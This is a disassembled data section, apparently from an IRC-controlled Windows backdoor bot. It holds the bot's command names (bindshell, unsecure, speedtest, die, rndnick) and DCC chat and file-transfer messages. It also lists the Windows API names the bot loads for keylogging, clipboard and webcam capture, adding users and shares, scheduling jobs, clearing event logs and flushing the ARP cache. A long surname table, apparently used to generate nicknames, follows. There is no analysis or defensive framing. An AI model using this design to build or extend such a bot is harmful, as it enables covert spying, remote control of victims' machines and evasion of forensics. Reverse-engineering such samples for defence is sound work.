dword_42CD34	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; .packed:004382E4o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 10h
asc_42CDE0:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 10h
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42CE24	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE58	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CE88	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CEC0	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF68	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CF80	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CF88	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFA4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFB0	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42CFB4	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42CFF0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42CFF8	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42D00C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42D030	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
					; sub_40E991+5DEo
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D084	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 10h
asc_42D0F0:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42D0F4:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42D0F8	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D9F8	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40D99B+10o
					; sub_40F96A+252o
		unicode	0, <.>,0
unk_42DB88	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBB8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DBE8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42DC0C	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o ...
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC54	dd 0			; DATA XREF: sub_40B08D+7o
off_42DC58	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42DCC0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCCC	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
